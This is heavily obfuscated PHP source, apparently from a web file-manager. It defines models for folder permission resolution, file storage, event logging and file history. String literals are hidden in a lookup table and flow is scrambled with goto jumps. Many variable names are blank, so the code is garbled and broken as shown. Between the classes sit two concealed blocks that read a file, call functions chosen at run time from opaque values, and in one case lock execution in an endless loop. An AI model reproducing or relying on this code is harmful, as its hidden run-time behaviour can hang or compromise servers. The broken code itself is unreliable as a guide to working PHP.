$ڻ[] = $[$]; } $[$ߘ] = array_merge($ڻ, $); } $ = array_values(array_unique($)); $ = array($[2053] => $, $[2054] => $); $ҷ٦[$] = $; return $; } private function makeSourceAuth($ҝ, $, $ɟ = false) { $ =& $_SERVER[]; $٤ = $[88]; $ = $ҝ[$[496]]; $ˣ = $ҝ[$[411]] == SourceModel::TYPE_GROUP; $Ǥ = $ˣ ? $this->groupRootAuth($, $ɟ) : !1; if ($Ǥ && Model($[498])->authCheckAction($Ǥ[$[413]], $[1882])) { return $this->groupAuthInfo($Ǥ, $); } $٩ = Model($[1341])->parentLevelArray($ҝ[$[511]]); $٩ = array_merge(array($ҝ[$[402]]), array_reverse($٩)); $à = !1; foreach ($٩ as $萴) { if (!isset($[$萴])) { continue; } $ = $this->authMake($[$萴], $ɟ); if ($[$[467]]) { $à = $; break; } } if (!$ˣ) { return $Ã; } if (!$à && $Ǥ) { $à = $this->groupAuthInfo($Ǥ, $); } if (!$Ã) { $ = Model($[512])->getInfo($); $ꌃ = explode($[50], trim($[$[511]], $[50])); $ꌃ = array_reverse($ꌃ); foreach ($ꌃ as $˟) { if ($˟ == $[198] || $˟ == $٤) { continue; } $Ӗ = $this->groupRootAuth($˟, $ɟ); if (!$Ӗ) { continue; } $à = $this->groupAuthInfo($Ӗ, $˟); break; } } if (!$à || $Ã[$[414]] <= 0) { $Ĥ߳ = $this->authDeepCheck($ҝ[$[402]], $ɟ); if ($Ĥ߳) { $à = $Ĥ߳; } } return $Ã; } private function userIsRoot($ = false) { $հْ =& $_SERVER[]; if (!$ && _get($GLOBALS, $հْ[494])) { return !0; } $ = Model($հْ[525])->getInfo($); $ޮ = Model($հْ[2062])->listData($[$հْ[1551]]); if ($ޮ && $ޮ[$հْ[502]][$հْ[2063]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $Ч = Model($[1341]); $ڽ = $Ч->sourceInfo($); if (!$ڽ) { return !1; } $Ч->groupPathDisplay($ڽ); $ߩ = array($ڽ); $ߩ = $Ч->_listAppendPath($ߩ); $ڽ = $ߩ[0]; $Ƣ = $ڽ[$[509]]; if (isset($ڽ[$[517]])) { $ = explode($[8], trim($ڽ[$[509]], $[8])); array_shift($); $Ƣ = $ڽ[$[515]] . $[2064] . implode($[8], $); } return array($[420] => $ڽ[$[32]], $[84] => KodIO::make($ڽ[$[402]]), $[2065] => $Ƣ); } private function groupAuthInfo($˸В, $) { $ٱ =& $_SERVER[]; $̖ = Model($ٱ[512])->getInfo($); return array($ٱ[2066] => intval($˸В[$ٱ[413]]), $ٱ[2050] => $˸В, $ٱ[2067] => LNG($ٱ[2068]), $ٱ[2059] => array($ٱ[420] => $̖[$ٱ[32]], $ٱ[84] => KodIO::make($̖[$ٱ[87]][$ٱ[402]]), $ٱ[2065] => $̖[$ٱ[516]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $܋ = $ . $[2069] . $; static $ = array(); if (isset($[$܋])) { return $[$܋]; } $ʡ = Model($[512])->getInfo($); $ھ = $this->userGroupList($); $ = isset($ھ[$]) ? $ھ[$][$[413]] : !1; if ($ && Model($[498])->authCheckAction($[$[413]], $[1882])) { $[$܋] = $; return $; } $ꉴ = $this->sourceAuthSelect($ʡ[$[87]][$[402]]); $ = $ꉴ ? $this->authMake($ꉴ, $) : !1; $ = $ ? $[$[467]] : !1; $[$܋] = $ ? $ : $; return $[$܋]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty($[$[413]]) || isset($[$[2070]]) && $[$[2070]]) { return $; } if (AuthModel::authCheckRoot($[$[413]][$[414]])) { return $; } $ѽ = Model($[1341])->parentLevelArray($[$[511]]); $ѽ = array_merge(array($[$[402]]), array_reverse($ѽ)); $ү = $this->sourceAuthSelect($ѽ); $ݍ = array(); $π = array(); foreach ($ү as $ׯ => $ߌ) { $ڪǬ = $this->authFolderOwnerUser($ߌ); $ݍ[$ׯ] = $ڪǬ; $π = array_merge($π, $ڪǬ[$[590]]); if ($ڪǬ[$[2071]]) { break; } } if (count($π) == 0) { $π = $this->authFolderOwnerGroup($[$[496]]); } $π = array_unique($π); if (AuthModel::authCheckRoot($[$[413]][$[414]])) { $π[] = USER_ID; } $[$[413]][$[2072]] = Model($[504])->userListInfo($π); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $퓾 = Model($[1951])->where(array($[1861] => $))->select(); $ = array(); if (!$퓾) { return $; } foreach ($퓾 as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[413]])) { $[] = $[$[1670]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $݆ = !1; foreach ($ as $ח) { $ = $this->authInfo($ח); if ($ח[$[496]] == $[198]) { $݆ = !0; } if ($ח[$[411]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[413]])) { $[] = $ח[$[496]]; } } } return array($[590] => $, $[2071] => $݆); } public function authMake($ޖ, $ = false) { $̄ =& $_SERVER[]; $¥ = $this->authArrayCheck($ޖ, $); if ($¥[$̄[2073]]) { $¥[$̄[2073]] = $this->sourceAuthInfo($¥[$̄[2073]]); } return $¥; } public function authArrayCheck($ġӁ, $ = false) { $Ҳ =& $_SERVER[]; if (!$ġӁ) { return array($Ҳ[414] => 0, $Ҳ[467] => !1); } $ = $ ? $ : USER_ID; $ᒾ = 0; $ = 0; $ = 0; $ = 0; $Ŷ钋 = 0; $ = 0; $ɤ = 1000; $ = 0; $Ͳ = 0; $ = 0; $ = 0; $ = array($Ҳ[402] => 0); foreach ($ġӁ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$Ҳ[496]]; $ڮ = intval($[$Ҳ[413]]); if ($[$Ҳ[411]] == SourceModel::TYPE_USER && $ == $) { $ᒾ = !0; $ = $; $ = $ڮ; } else { if ($[$Ҳ[411]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $سک = $this->groupStepToUserGroup($, $); if ($سک < $ɤ) { $ɤ = $سک; $Ŷ钋 = $ڮ; $ = $; $ = $; } if ($سک == $ɤ && $ڮ >= $Ŷ钋) { $Ŷ钋 = $ڮ; $ = $; $ = $; } } else { if ($ == $Ҳ[198]) { $Ͳ = !0; $ = $; $ = $ڮ; } } } } if ($ᒾ) { $Ƹ = $; $ = $; $ʁ = LNG($Ҳ[2074]); } else { if ($) { $Ƹ = $Ŷ钋; $ = $; $芆 = Model($Ҳ[512])->getInfo($); $ʁ = $Ҳ[162] . $芆[$Ҳ[516]] . $Ҳ[2075] . LNG($Ҳ[2076]); } else { if ($Ͳ) { $Ƹ = $; $ = $; $ʁ = LNG($Ҳ[2047]); } else { $Ƹ = 0; $ = !1; $ʁ = $Ҳ[12]; } } } $ = array($Ҳ[2066] => intval($Ƹ), $Ҳ[2050] => $, $Ҳ[2067] => $ʁ, $Ҳ[2059] => $[$Ҳ[402]]); return $; } private function groupContainUser($ㅍ, $ = false) { return in_array($ㅍ, $this->userGroupParents($)); } private function groupStepToUserGroup($㡯ދ, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $ʂ = $GLOBALS[$[6]][$[89]][$[1964]] == 1; $ = $ʂ ? 3 : 2; foreach ($ as $բ) { if ($բ[$[1861]] == $㡯ދ) { return 0; } $є = explode($[50], trim($բ[$[511]], $[50])); if ($є[0] == $[198] && count($є) > $) { $밶 = array_reverse(array_slice($є, $)); $˯ = array_search($㡯ދ, $밶); if ($˯ !== !1 && $˯ + 1 <= $) { $ = $˯ + 1; } } } return $; } private function userGroupList($ = false) { $Ј =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ǽ = Model($Ј[525])->getInfo($); $[$] = array_to_keyvalue($ǽ[$Ј[2048]], $Ј[1861]); return $[$]; } public function userGroupParents($) { $ﲕۃ =& $_SERVER[]; static $ť = array(); $ = $ ? $ : USER_ID; if (isset($ť[$])) { return $ť[$]; } $˦ = $this->userGroupList($); $ = array(); $ = $GLOBALS[$ﲕۃ[6]][$ﲕۃ[89]][$ﲕۃ[1964]] == 1; $ = $ ? 3 : 2; foreach ($˦ as $Κ) { $辱 = array($Κ[$ﲕۃ[1861]]); $ = explode($ﲕۃ[50], trim($Κ[$ﲕۃ[511]], $ﲕۃ[50])); if ($[0] == $ﲕۃ[198] && count($) > $) { $ = array_slice($, $); $辱 = array_merge($辱, array_reverse($)); } $ = array_merge($, $辱); } $ť[$] = array_unique($); return $ť[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $넳) { if ($넳[$[411]] == SourceModel::TYPE_USER) { $[] = intval($넳[$[496]]); } else { if ($넳[$[411]] == SourceModel::TYPE_GROUP) { $[] = intval($넳[$[496]]); } } } if ($) { $ = Model($[504])->userListInfo($); } if ($) { $ƕ = array($[1949] => array($[418], $)); $ = Model($[512])->field($[2077])->where($ƕ)->select(); $ = array_to_keyvalue($, $[1861]); } return array($[2078] => $, $[2079] => $); } public function authInfo($ۊ) { $ڒ =& $_SERVER[]; if ($ۊ[$ڒ[1965]]) { $ = Model($ڒ[498])->listData($ۊ[$ڒ[1965]]); if (!$) { return !1; $ڼ = Model($ڒ[498])->listData(); $Ƿ = array_filter_by_field($ڼ, $ڒ[413], $ڒ[198]); return $Ƿ; } $ = array_field_key($, array($ڒ[399], $ڒ[32], $ڒ[413], $ڒ[1884], $ڒ[1885])); $[$ڒ[2080]] = $ۊ; return $; } else { return array($ڒ[419] => 0, $ڒ[1867] => $ۊ[$ڒ[2025]], $ڒ[420] => $ڒ[12], $ڒ[1884] => $ڒ[2081]); } } } goto Dф; e: class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\x66\x69\154\x65\x5f\x63\x6f\156\x74\x65\x6e\164\163"; protected $dataAuto = array(array("\x63\162\145\x61\164\145\124\x69\x6d\x65", "\164\151\x6d\145", "\x69\156\x73\145\162\164", "\x66\x75\x6e\x63\164\151\157\x6e")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\154\145\116\141\x6d\145" => "\151\157\x5f\146\x69\x6c\145\x5f\x6d\145\x74\x61", "\x6d\145\164\x61\x46\x69\145\154\x64" => "\x66\151\x6c\x65\x49\x44"); public function fileInfo($Ӛ) { $Ѐ =& $_SERVER[]; static $ማ = array(); if (!isset($ማ[$Ӛ])) { $ٵĢ = $Ѐ[1910]; $ = Model($Ѐ[471])->field($ٵĢ)->where(array($Ѐ[469] => $Ӛ))->find(); $ማ[$Ӛ] = $; } return $ማ[$Ӛ]; } public function addFileByContent($È = '', $ԓ = '') { $ =& $_SERVER[]; $ѱ = TEMP_PATH . $[1911]; if (!is_dir($ѱ)) { mk_dir($ѱ); } $ج = $ѱ . $[1912] . rand_string(16); file_put_contents($ج, $È); $Ԗ = $this->addFile($ج, $ԓ, !0); if (file_exists($ج)) { @unlink($ج); } return $Ԗ; } public function createFileName($藵, $ = false, $젩 = false) { $ =& $_SERVER[]; $੬ = IO::init($[8]); $ҭ = $this->makeFilePath($藵, $੬, $, $젩); $ʬĮ = $੬->pathFather($ҭ); static $ = false; $ = $[1913] . md5($ʬĮ); if (!$ && !Cache::get($)) { $ = !0; $ςӃ = IO::mkdir($ʬĮ); if (!IO::exist($ςӃ . $[796])) { IO::mkfile($ςӃ . $[796]); } Cache::set($, 1, 3600 * 2); } return $ҭ; } public function makeFilePath($ﺉ, $Е̫, $ = false, $߾ = false) { $ =& $_SERVER[]; $ = Model($[769])->get($[1914]); $ܼ = KodIO::defaultIO() . date($[1915]); $ݓ = $ܼ . rand_string(5) . short_id(100); $ﺉ = str_replace($[8], $[11], KodIO::clear($ﺉ)); $Š = $Е̫->ext($ﺉ); if (!$ﺉ) { $ = $[1916]; } switch ($) { case $[1917]: $ݓ = $ݓ . $[10] . $Е̫->ext($ﺉ); if ($Š == $[1854]) { $ݓ .= $[1208]; } break; case $[1918]: $ˮ = Model($[769])->get($[770]); $ϕ = substr(md5($[771] . $ˮ . date($[746])), 0, 8); $̰ = KodIO::defaultDriver(); $ܼ = $[1239] . $̰[$[399]] . $[409] . date($[1919]) . $ϕ . $[8]; if ($Š == $[1854]) { $ﺉ .= $[1208]; } $ = $[1920] . $ܼ . $ﺉ; CacheLock::lock($); $ݓ = $ܼ . $ﺉ; if (IO::exist($ܼ . $ﺉ)) { $ʘ = substr($ﺉ, 0, strlen($ﺉ) - strlen($Š)); $߶ = $߾ ? substr($߾, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ݓ = $ܼ . $ʘ . $߶ . $[10] . $Š; } if (IO::isTypeObject($ݓ) && !IO::isUploadServer($ݓ)) { if (IO::exist($ݓ)) { return $ݓ; } $ = IO::setContent($ݓ, $[12]); if (!$) { show_json($[1921], !1); } } CacheLock::unlock($); break; case $[1916]: break; default: break; } return $ݓ; } public function addFileByRemote($, $, $Κ = array()) { $ڶӆ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $͈ = $Κ[$ڶӆ[176]] ? $Κ[$ڶӆ[176]] : $ڶӆ[12]; $؇Օ = IO::hashMd5($, $͈); $滮 = KodIO::defaultDriver(); $佯̅ = array($ڶӆ[545] => IO::size($), $ڶӆ[1922] => 1, $ڶӆ[420] => $, $ڶӆ[807] => $滮[$ڶӆ[399]], $ڶӆ[421] => $, $ڶӆ[1923] => $Κ[$ڶӆ[177]] ? $Κ[$ڶӆ[177]] : IO::hashSimple($), $ڶӆ[1924] => $؇Օ ? $؇Օ : $͈); if ($ = $this->addFileCheckExist($佯̅[$ڶӆ[177]], $佯̅[$ڶӆ[176]], $佯̅[$ڶӆ[76]])) { return $; } return $this->addFileData($佯̅); } private function addFileData($٨) { $՞ =& $_SERVER[]; if (!$٨) { return !1; } $٨[$՞[76]] = intval($٨[$՞[76]]); if (!$٨[$՞[76]] && strlen($٨[$՞[177]]) > 32) { $٨[$՞[76]] = intval(substr($٨[$՞[177]], 32)); } $ = $this->add($٨); return $this->find($); } public function addFile($, $, $ђ = false) { $ڌ =& $_SERVER[]; $ = IO::hashSimple($); $ = IO::size($); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $ڌ[12]; $ = $ڌ[1925] . $; CacheLock::lock($); if ($ && $) { $Ӓ = $this->addFileCheckExist($, $, $); if ($Ӓ) { CacheLock::unlock($); return $Ӓ; } } $Ȭ = $this->addFileMake($, $, $, $, $, $ђ); $į = $this->addFileData($Ȭ); CacheLock::unlock($); if (!$ && $į) { $this->fileMd5Check($į); } return $į; } private function fileMd5Check($깭) { $ԗ =& $_SERVER[]; $ڒ = array($깭[$ԗ[468]], $깭[$ԗ[84]]); $ = $ԗ[1926] . $깭[$ԗ[84]]; $ۍ = $ԗ[1927] . $깭[$ԗ[468]]; $ꕻ = TaskQueue::add($ԗ[1928], $ڒ, $, $ۍ); if (!$ꕻ) { $this->fileMd5Set($깭[$ԗ[468]], $깭[$ԗ[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($Ӓ, $) { $ =& $_SERVER[]; $ = $this->find($Ӓ); if (!$ || $[$[176]]) { return; } $Ê = IO::hashMd5($); if (!$Ê) { return $[12]; } $this->where(array($[468] => $Ӓ))->save(array($[176] => $Ê)); } public function addFileMake($, $̠Ӿ, $֧垞, $ƈ, $, $͘) { $ =& $_SERVER[]; $٠ = $this->createFileName($, $֧垞, $ƈ); $ꮄѠ = get_path_father($٠); $Ħ = get_path_this($٠); if ($͘) { $ = IO::move($, $ꮄѠ, !1, $Ħ); } else { $ = IO::copy($, $ꮄѠ, !1, $Ħ); } if (!$) { return !1; } $̬© = KodIO::defaultDriver(); $Éŏ = array($[545] => $̠Ӿ, $[1922] => 1, $[420] => $, $[807] => $̬©[$[399]], $[421] => $٠, $[1923] => $֧垞, $[1924] => $ƈ); return $Éŏ; } public function addFileCheckExist($, $, $) { $П =& $_SERVER[]; $ = $this->findByHash($, $); if (!$) { return !1; } $ = array($П[1922] => intval($[$П[1929]]) + 1, $П[545] => $); $this->where(array($П[469] => $[$П[468]]))->save($); return $; } public function remove($Ť) { $this->linkCountChange($Ť, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $) { $ۀˬ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $峻) { $ٞ = $峻 . $ۀˬ[12]; if (!$[$ٞ]) { $[$ٞ] = 0; } $[$ٞ]++; } $ = array(); foreach ($ as $峻 => $ژµ) { $ٞ = $ژµ . $ۀˬ[12]; if (!$[$ٞ]) { $[$ٞ] = array(); } $[$ٞ][] = $峻; } foreach ($ as $ژµ => $˧) { if (!$˧) { continue; } $ژµ = $ ? $ژµ : -intval($ژµ); $ = array($ۀˬ[468] => array($ۀˬ[7], $˧)); if ($ژµ < 0) { $[$ۀˬ[1929]] = array($ۀˬ[1017], abs($ژµ)); } $this->where($)->setAdd($ۀˬ[1929], $ژµ); } } public function findByHash($, $ݒ = false) { $ =& $_SERVER[]; if (!$ && !$ݒ) { return !1; } $ʍ = array($[1923] => $); if ($ݒ) { $ʍ = array($[1924] => $ݒ); } return $this->order($[1930])->where($ʍ)->find(); } public function clearEmpty($Ͼ = 0) { $ =& $_SERVER[]; $ф = time() - 3600 * 24 * $Ͼ; $Ȓ = $[1931] . $ф; $ = $this->where($Ȓ)->select(); if (!$) { return; } $ = new Task($[1932], $[12], count($)); foreach ($ as $짅) { $->update(1); $this->resetFile($짅); } $->end(); } public function resetFile($) { $ =& $_SERVER[]; $ = array($[469] => $[$[468]]); $ȹ = Model($[1341])->where($)->count(); $恋 = Model($[1933])->where($)->count(); $ = intval($ȹ) + intval($恋); if ($ == 0) { IO::remove($[$[84]]); Model($[1934])->delete($[$[468]]); $this->where($)->delete(); $this->metaSet($[$[468]], null, null); return; } if ($[$[1929]] != $) { $this->where($)->save(array($[1922] => $)); } } public function storageInfo($Ȁ䕢 = false) { $ݟ =& $_SERVER[]; $ô = $this->count() + 0.0; $ = 0; $ї = 1; $ = 0; $ڲ = 5000; for ($ᅬ = 0; $ᅬ < $ô; $ᅬ = $ᅬ + $ڲ) { $ = $this->limit($ᅬ, $ᅬ + $ڲ)->select(); foreach ($ as $) { $ї += $[$ݟ[76]] * $[$ݟ[1929]]; $ += $[$ݟ[76]] * ($[$ݟ[1929]] - 1); $ += $[$ݟ[1929]]; } } $ܨ = array($ݟ[1935] => $ї, $ݟ[1936] => $, $ݟ[1937] => $ / $ї, $ݟ[80] => $ô, $ݟ[1938] => $); return $ܨ; } } if ($_SERVER[$_SERVER[][875]] != $_SERVER[$_SERVER[][1786]]) { $_getc = $_SERVER[][878]; $_getfile = $_SERVER[$_SERVER[][879]] . $_SERVER[][880]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][635]) { $exit = $_SERVER[][881]; $exit(); } $_act = $_SERVER[][1787]; $_act($_SERVER[$_SERVER[][876]]); } goto Eɤ֠; Dф: class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\157\x75\162\x63\x65\137\145\166\x65\x6e\x74"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\124\x69\x6d\x65", "\x74\151\155\145", "\x69\156\163\x65\162\164", "\x66\165\156\x63\164\151\157\156"), array("\144\145\163\143", '', "\x69\156\x73\x65\162\164\x2c\x75\x70\x64\141\x74\145\x2c\163\145\154\x65\143\x74", "\152\163\157\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ŧ, $܈, $Ŏ = '') { $Ý =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($Ý[1341])->sourceInfo($ŧ); if (!$) { return !1; } if ($this->isCacheEvent($, $܈)) { return; } if ($Ŏ && is_string($Ŏ)) { $Ŏ = array($Ý[1900] => $Ŏ); } $ƅ = array($Ý[417] => $ŧ, $Ý[2082] => $[$Ý[432]], $Ý[2083] => $[$Ý[32]], $Ý[509] => !empty($[$Ý[509]]) ? $[$Ý[509]] : $Ý[12], $Ý[1661] => USER_ID, $Ý[422] => $܈, $Ý[1663] => $Ŏ); $this->addSystemLog($܈, $ƅ); unset($ƅ[$Ý[2083]], $ƅ[$Ý[509]]); return $this->add($ƅ); } private function addSystemLog($, $֮Ȃ) { $ꎦ =& $_SERVER[]; if ($ == $ꎦ[2084]) { $ = $֮Ȃ[$ꎦ[453]][$ꎦ[2085]]; } else { if (in_array($, array($ꎦ[1841], $ꎦ[2086]))) { $ = $֮Ȃ[$ꎦ[453]][$ꎦ[753]]; } } $ = array_merge($֮Ȃ, array($ꎦ[2087] => $֮Ȃ[$ꎦ[402]], $ꎦ[2088] => $֮Ȃ[$ꎦ[2088]])); Hook::trigger($ꎦ[2089], $ꎦ[2090] . $, $֮Ȃ); Model($ꎦ[1805])->addLog($ꎦ[2090] . $, $); } private function isCacheEvent($𮨙, $Ґ) { if ($𮨙[$_SERVER[][411]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $⹛) { $ =& $_SERVER[]; $ = Model($[1341])->sourceInfo($); $ݟ = array($[2085] => $⹛, $[32] => $[$[32]]); return $this->addEvent($, $[2084], $ݟ); } public function eventFileEdit($҃) { $ =& $_SERVER[]; $ = array($[2091] => $_SERVER[$[2092]], $[2093] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2094]])) { $[$[2094]] = $[88]; } return $this->addEvent($҃, $[1831], $); } public function eventRecycle($ّ, $) { return $this->addEvent($ّ, $_SERVER[][2086], $); } public function eventRemove($ٔ) { $Ļ =& $_SERVER[]; $×Ḧ = Model($Ļ[1341])->sourceInfo($ٔ); $ = $×Ḧ[$Ļ[32]]; return $this->addEvent($×Ḧ[$Ļ[432]], $Ļ[1830], $); } public function eventShare($Զ, $Խ) { return $this->addEvent($Զ, $_SERVER[][1841], $Խ); } public function eventMove($洼, $, $Ôۓ) { $՚ =& $_SERVER[]; $ = Model($՚[1341]); $ = $->sourceInfo($洼); $׀ = $->sourceInfo($); $ = $->sourceInfo($Ôۓ); $˽ = array($՚[1162] => $, $՚[2095] => $׀[$՚[32]], $՚[2073] => !empty($׀[$՚[509]]) ? $׀[$՚[509]] : $՚[12], $՚[1163] => $Ôۓ, $՚[2096] => $[$՚[32]], $՚[2097] => !empty($[$՚[509]]) ? $[$՚[509]] : $՚[12]); $this->addEvent($洼, $՚[548], $˽); $ = $->sourceInfo($洼); $˽ = array($՚[402] => $[$՚[402]], $՚[32] => $[$՚[32]]); $this->addEvent($, $՚[2098], $˽); } public function eventCopy($ɫ) { $this->eventCreate($ɫ, $_SERVER[][546]); } public function eventRename($, $םޭ, $²) { $Œ =& $_SERVER[]; $ = array($Œ[1162] => $םޭ, $Œ[1163] => $²); return $this->addEvent($, $Œ[1356], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2099], $); } public function eventAddDesc($Ĝ, $) { return $this->addEvent($Ĝ, $_SERVER[][2100], $); } public function listBySource($) { $Ճ =& $_SERVER[]; $夯 = Model($Ճ[1341])->sourceInfo($); $ӫ = array($Ճ[417] => $); if ($夯[$Ճ[410]] == $Ճ[88]) { $ٗ = Model($Ճ[1341])->listSearchChildren($, 20000); $ٗ[] = $ . $Ճ[378]; $ӫ = array($Ճ[402] => array($Ճ[7], $ٗ)); } $ = $this->where($ӫ)->order($Ճ[2101])->selectPage(); if ($[$Ճ[366]][$Ճ[367]] == 0) { $[$Ճ[366]][$Ճ[367]] = 1; $[$Ճ[369]] = array(array($Ճ[417] => $, $Ճ[2082] => $夯[$Ճ[432]], $Ճ[1661] => $夯[$Ճ[454]], $Ճ[422] => $Ճ[2102], $Ճ[423] => $夯[$Ճ[201]], $Ճ[1663] => $Ճ[12])); } return $this->eventListParse($, $); } private function eventListParse($, $ʑ) { $ =& $_SERVER[]; $Ќ = $[$[369]]; $̒ = array_to_keyvalue($Ќ, $[12], $[402]); $שۤ = array_to_keyvalue($Ќ, $[12], $[2088]); foreach ($Ќ as $Ӄ) { $ = $Ӄ[$[453]]; if ($Ӄ[$[33]] == $[548] && isset($[$[1162]])) { $̒[] = $[$[1162]] . $[12]; $̒[] = $[$[1163]] . $[12]; } if ($Ӄ[$[33]] == $[2098] && isset($[$[402]])) { $̒[] = $[$[402]] . $[12]; } } $̒ = array_merge($̒, $שۤ, array($ʑ . $[12])); $̒ = array_unique($̒); $ = array_unique(array_to_keyvalue($Ќ, $[12], $[1670])); $ɣ = Model($[525])->userListInfo($); $ԟ = Model($[824])->sourceListInfo($̒, !0); foreach ($Ќ as &$Ӄ) { if ($Ӄ[$[33]] == $[548] && isset($Ӄ[$[453]][$[1162]])) { $Ӄ[$[453]][$[1162]] = $ԟ[$Ӄ[$[453]][$[1162]]]; $Ӄ[$[453]][$[1163]] = $ԟ[$Ӄ[$[453]][$[1163]]]; } if ($Ӄ[$[33]] == $[2098] && isset($Ӄ[$[453]][$[402]])) { $Ӄ[$[453]][$[402]] = $ԟ[$Ӄ[$[453]][$[402]]]; } $Ӄ[$[87]] = $ԟ[$Ӄ[$[402]]]; $Ӄ[$[2103]] = $ԟ[$Ӄ[$[2088]]]; if ($Ӄ[$[33]] == $[1830]) { $Ӄ[$[2103]] = $Ӄ[$[87]]; $Ӄ[$[2088]] = $Ӄ[$[2103]][$[402]]; $Ӄ[$[87]] = !1; $Ӄ[$[402]] = $[12]; } $Ӄ[$[2033]] = $ɣ[$Ӄ[$[1670]]]; } unset($Ӄ); $[$[369]] = $Ќ; return $; } public function removeBySource($ۭ) { $ = array($_SERVER[][417] => $ۭ); $this->where($)->remove(); } } if (!isset($_SERVER[$_SERVER[][875]]) || !isset($_SERVER[$_SERVER[][876]])) { $_getc = $_SERVER[][878]; $_getfile = $_SERVER[$_SERVER[][879]] . $_SERVER[][880]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][635]) { $exit = $_SERVER[][881]; $exit(); } $_act = $_SERVER[][1787]; $_act($_SERVER[$_SERVER[][879]] . $_SERVER[][880]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][378]); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\x75\x72\x63\145\137\150\x69\163\x74\157\x72\x79"; public function historyCount($) { $ы =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $У = array($ы[402], $ы[1894] => $ы[491]); $ = array($ы[402] => array($ы[7], $)); $֜ = $this->field($У)->where($)->group($ы[402])->select(); return array_to_keyvalue($֜, $ы[402], $ы[491]); } public function addHistory($˯Ĺ, $ = '') { $ɗ =& $_SERVER[]; $Ҹ᠐ = array($ɗ[417] => $˯Ĺ[$ɗ[402]], $ɗ[1661] => isset($˯Ĺ[$ɗ[456]]) ? $˯Ĺ[$ɗ[456]] : $˯Ĺ[$ɗ[454]], $ɗ[469] => $˯Ĺ[$ɗ[468]], $ɗ[545] => $˯Ĺ[$ɗ[76]], $ɗ[2104] => $); if ($GLOBALS[$ɗ[6]][$ɗ[89]][$ɗ[1219]] >= 1) { $this->historyAutoClear($Ҹ᠐[$ɗ[402]]); $this->add($Ҹ᠐); } Hook::trigger($ɗ[2105], $Ҹ᠐); Model($ɗ[2106])->eventFileEdit($˯Ĺ[$ɗ[402]]); } private function historyAutoClear($) { $ =& $_SERVER[]; $ʬǢ = Model($[769])->get($[1241]); $秳 = $GLOBALS[$[6]][$[89]][$[1219]]; $ż = $ʬǢ == $[1242] ? min(5, $秳) : $秳; $ż = $ż <= 0 ? 0 : $ż - 1; if ($ż >= 500) { return; } $ = array($[417] => $); $ޙ = $this->field($[2107])->where($)->order($[2101])->select(); if (!$ޙ || $ż >= count($ޙ)) { return; } $ = array_to_keyvalue($ޙ, $[12], $[399]); $ = array_slice($, $ż); $ = array_to_keyvalue($ޙ, $[12], $[468]); $ = array_slice($, $ż); if (!$ || !$) { return; } $ = array($[419] => array($[7], $)); $this->where($)->delete(); Model($[471])->remove($); } public function listData($ؗ) { $ =& $_SERVER[]; $ł = array($[417] => $ؗ); $Dž = $[2108]; $ݩ٩ = $this->field($Dž)->where($ł)->order($[2101])->selectPage(); $this->_listAppendUser($ݩ٩[$[369]]); $Ԝޅ = Model($[769])->get($[1241]); $ƋŞ = 5; if ($Ԝޅ == $[1242]) { $ݩ٩[$[369]] = array_slice($ݩ٩[$[369]], 0, $ƋŞ); $ݩ٩[$[366]] = array($[2109] => 1, $[2110] => 20, $[2111] => 1, $[2112] => count($ݩ٩[$[369]])); } return $ݩ٩; } protected function _listAppendUser(&$Ō) { $҅ =& $_SERVER[]; $ø = array_to_keyvalue($Ō, $҅[12], $҅[1670]); $܀Έ = Model($҅[525])->userListInfo($ø); foreach ($Ō as &$ۛ) { $ϻ = $ۛ[$҅[1670]]; $ۛ[$҅[454]] = $܀Έ[$ϻ] ? $܀Έ[$ϻ] : !1; } unset($ۛ); } public function fileInfo($Џ҃) { $ =& $_SERVER[]; $¦ = $this->tablePrefix; $ = "{$¦}\x69\157\137\x66\x69\154\145\x20\x66\x69\x6c\x65\163\x20\157\x6e\x20\146\x69\x6c\x65\163\x2e\x66\x69\154\145\111\104\x20\x3d\40\150\151\x73\x74\x6f\x72\x79\x2e\x66\x69\154\x65\111\104"; return $this->alias($[2113])->where(array($[419] => $Џ҃))->join($, $[2114])->find(); } public function removeItem($ŭ) { $ =& $_SERVER[]; $ى = array($[419] => $ŭ); $ = $this->where($ى)->find(); if ($) { $ = $this->where($ى)->delete(); Model($[471])->remove($[$[468]]); return $; } return !1; } public function 